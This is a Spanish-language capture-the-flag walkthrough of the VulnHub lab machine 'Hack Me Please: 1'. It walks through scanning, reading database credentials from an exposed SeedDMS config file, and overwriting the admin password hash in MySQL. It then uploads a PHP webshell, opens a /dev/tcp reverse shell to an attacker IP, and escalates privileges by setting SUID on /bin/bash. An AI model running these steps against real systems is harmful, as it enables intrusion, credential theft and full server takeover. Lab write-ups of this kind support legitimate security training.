Hack Me Please:1 VulnHub
Introducción
En este CTF de Hack Me Please: 1, de VulnHub, partiremos de una fase de reconocimiento de red para identificar los servicios expuestos y profundizar en la enumeración de un servidor web que utiliza SeedDMS y una base de datos MySQL. A lo largo del laboratorio, exploraremos posibles fallos de configuración, la exposición de información sensible y vulnerabilidades en aplicaciones web. Finalmente, trabajaremos en la obtención de acceso al sistema y en la escalada de privilegios en Linux.
Fase de Reconocimiento
Identificación de objetivo en la red
1
arp-scan -I enp0s3 --localnet --ignoredups
Escaneo de puertos
1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.0.2.16 -oN allPorts
1
grep "^[0-9]" allPorts | cut -d '/' -f1 | xargs | sort | tr ' ' ','
1
nmap -p80,3306,33060 -sCV 10.0.2.16 -oN targeted
Tras el escaneo descubrimos un servicio HTTP en el puerto 80 y un servicio MySQL en el 3306, del cual nos enumera sus capabilities; esto puede resultarnos útil más adelante.
Enumeración
Enumeración de servicio HTTP
1
whatweb http://10.0.2.16
Si accedemos a través del navegador a la web:
Lo más destacable de la web es que, en la sección “Contact”, podemos enviar un formulario con cierta información en el que, como usuario, tenemos control de lo que enviamos.
Por ahora vamos a seguir enumerando aplicando fuzzing.
1
feroxbuster -u http://10.0.2.16 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x .php,.html,.txt
Podemos echar un vistazo al archivo main.js, por ejemplo, para ver si conseguimos enumerar alguna ruta existente o algo por el estilo.
En su contenido logramos encontrar una ruta del servicio web, vamos a acceder a ver qué encontramos:
Enumeración de SeedDMS
Encontramos el login de un aplicativo web llamado SeedDMS; este software es un gestor de documentos web. Sobre este directorio también podemos aplicar fuzzing a ver qué encontramos:
1
feroxbuster -u http://10.0.2.16//seeddms51x/seeddms-5.1.22/ -w /usr/share/SecLists-master/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
Encontramos la estructura de directorios del aplicativo web. Otra cosa que es recomendable en estos casos es verificar si es un proyecto open source y echar un vistazo a su código fuente. Podemos buscar “SeedDMS github”:
Y efectivamente, el proyecto es open source, vamos a echar un vistazo a su contenido.
Tras estar un rato ojeando el código fuente, logramos encontrar este archivo llamado “settings.xml.template”, en el cual podemos ver una sección del código que contiene la cadena de conexión a la base de datos. Si este archivo está expuesto en la web, obtendríamos las credenciales de la base de datos y podríamos conectarnos para enumerarla. Vamos a ver si lo encontramos:
1
http://10.0.2.16/seeddms51x/conf/settings.xml
Bingo, para verlo mejor vamos a traérnoslo a nuestro equipo.
1
curl -X GET "http://10.0.2.16/seeddms51x/conf/settings.xml" | cat -l xml
Y efectivamente encontramos las credenciales de la base de datos en un archivo de configuración expuesto en el servidor web. Una vez las tenemos, podemos conectarnos a enumerar su contenido.
Enumeración de base de datos MySQL
1
mysql -h 10.0.2.16 -u seeddms -p seeddms
1
show tables;
1
select * from users;
Encontramos la tabla users y, al ver su contenido, logramos obtener un id de usuario y la contraseña. Vamos a ver si son válidas para el panel de login. Y estas credenciales no son válidas para el panel de login, solo queda seguir enumerando la base de datos.
1
select * from tblUsers;
Encontramos más usuarios, entre ellos el usuario admin, que es el que nos interesa y que tiene la contraseña hasheada. Parece md5, pero para salir de dudas podemos usar la herramienta hash-identifier.
1
hash-identifier
El siguiente paso sería tratar de crackearlo con herramientas online, John the Ripper o Hashcat… El caso es que, tras probar estas herramientas de terminal y online, no es posible crackear este hash md5. La opción que nos queda es modificar la tabla de la base de datos y cambiar el hash actual por uno con la contraseña que nosotros queramos, por ejemplo:
1
echo -n "abc123." | md5sum
Alteración de base de datos para lograr acceso a SeedDMS
Copiamos el hash y actualizamos la tabla en la base de datos:
1
update tblUsers set pwd='e8dc8ccd5e5f9e3a54f07350ce8a2d3d' where login='admin'
Una vez hecho, probamos en el login del aplicativo web:
De esta manera logramos acceso al aplicativo.
Acceso a SeedDMS y enumeración
Una vez dentro, vamos a tratar de buscar un vector de ataque para lograr la intrusión en la máquina.
En cuanto a la versión, es la 5.1.22; podemos buscar si hay algún exploit conocido para ella:
1
searchsploit seeddms 5.1.22
Sin embargo, no hay ninguno. Por otro lado, si obviamos la versión y buscamos vulnerabilidades para este aplicativo:
Aunque según el exploit solo funciona para versiones anteriores a la 5.1.11, en este caso con la nuestra también funcionará, por lo que vamos a echarle un vistazo.
1
searchsploit -x php/webapps/47022.txt | cat -l java
Básicamente está abusando de un File Upload, ya que recordemos que este aplicativo es un gestor de documentos.
Explotación
Abuso de subida de archivos
Sabiendo esto, vamos a ello: creamos la webshell.php.
1
<?php system($_GET['cmd']); ?>
La subimos:
Bien, una vez subido, accedemos a esta ruta facilitada en el exploit:
1
http://10.0.2.16/seeddms51x/data/1048576/4/1.php?cmd=id
De esta forma obtenemos una webshell y podemos lanzarnos una reverse shell para ganar acceso a la máquina víctima.
Entablando Reverse Shell
1
http://10.0.2.16/seeddms51x/data/1048576/4/1.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.0.2.13/443 0>%261'
1
2
# en nuestra máquina atacante
nc -nlvp 443
Una vez dentro, antes de empezar con la enumeración local vamos a hacer un tratamiento de la TTY.
Tratamiento de la TTY
1
2
3
4
5
6
script /dev/null -c bash
# ctrl + z
stty raw -echo;fg
reset xterm
export SHELL=bash TERM=xterm
stty rows 53 columns 206
Una vez hecho, podemos empezar con la enumeración local.
Escalada de privilegios
Enumeración local
1
grep 'sh$' /etc/passwd
Hay un usuario llamado “saket” que, si recordamos, encontramos en la base de datos credenciales para un usuario llamado así.
User Pivoting
Vamos a probarla para hacer un user pivoting.
Efectivamente es válida; además, nos dice que al parecer tenemos privilegios a nivel de sudoers con este usuario, vamos a verlo.
De hecho, somos miembros de dos grupos potencialmente peligrosos para escalar privilegios en sistemas Linux: el grupo adm y el grupo sudo.
Abusando de privilegios a nivel de sudoers
Podemos ejecutar cualquier comando en la máquina como el usuario root, por lo que vamos a hacer lo siguiente:
1
sudo -u root chmod +s /bin/bash
Con esto hecho, habríamos completado la máquina Hack Me Please:1 de VulnHub!!!




































